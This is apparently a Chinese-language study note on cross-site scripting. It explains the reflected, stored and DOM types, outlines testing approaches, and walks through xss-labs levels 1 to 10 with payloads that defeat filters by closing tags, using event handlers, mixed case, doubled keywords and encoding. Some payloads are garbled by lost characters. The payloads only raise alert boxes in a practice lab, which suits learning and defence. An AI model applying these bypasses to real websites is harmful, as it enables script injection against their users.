XSS基础
漏洞原理
接收输入数据,当这个数据为前端的js代码时,输出显示数据后会解析执行,不是主动漏洞,需要受害者触发,常出现在前端部分
常用标签:[xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户](https://www.freebuf.com/articles/web/340080.html)
XSS类型
反射型(非持久)
存储型(持久)
存储型XSS (Stored XSS)又称为持久型跨站点脚本,它一般发生在XSSpayload存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。
DOM型
DOM(Document Object Model)型 XSS(Cross-Site Scripting)攻击是一种 Web 应用程序中的安全漏洞,其特点是攻击者成功地注入了恶意脚本,这些脚本在用户的浏览器中执行,从而导致恶意行为。DOM 型 XSS 攻击不同于传统的存储型 XSS,它发生在客户端,通过操作 DOM 实现攻击。
xss验证
验证xss存在的PoC如下:
(1)scriptalert(/xss/)/script
(2)scriptconfirm('xss')/script
(3)scriptprompt('xss')/script
xss测试
黑盒
有输入框的都测一遍
白盒
主要从接收参数的地方入手,对接收到的数据进行追踪看有没有显示到页面中,然后看输出到页面的数据是否进行了过滤和html编码处理。
也可以从输出语句入手,追踪输出的变量从哪来,我们是否可以控制。
xss靶场-xsslabs
level1
可以看到name接收到的值直接显示在页面中,直接插入payload
payload:
name=<script>alert(1)</script>
level2
直接上payload看到显示在了页面中但是却没有触发弹窗
查看源代码发现<、>都被编码成了html字符实体,但是插入到value中的值没有进行编码
可以尝试进行标签闭合
payload:
"><script>alert(1)</script><"
level3
进行闭合也没有成功
可以看到两处都进行了实体化处理
可以通过事件弹窗的触发
payload:
' onfocus=javascript:alert(1) '
点击输入框触发弹窗
level4
和第三关一样,双引号
payload:
" onfocus=javascript:alert(1) "
level5
可以看到对onfocus进行了防范
但我们还可以使用标签执行js代码
payload:
"> <a href=javascript:alert(1)> "<
level6
对href也进行了防范
可以通过大小写进行绕过
payload:
"> <sCrIpT>alert(1)</ScRiPt> <"
level7
对script进行了过滤
可以进行双写绕过
payload:
"> <scrscriptipt>alert(1)</scrscriptipt> <"
level8
可以看到插入到了两个地方,都进行了防护处理
查看源代码防护很猛,对输入值进行了小写转换,进行了实体化处理
进行编码绕过,利用href自动unicode,对为协议进行unicode编码处理
payload:
javascript:alert(1)
javascript:alert()
点击友情链接触发
level9
对输入内容进行了检测要求携带http://,在上一关的基础上加上/*http://*/
payload:
javascript:alert()/*http://*/
level10
查看源代码发现有隐藏参数
payload:
t_sort=" onfocus=javascript:alert() type="text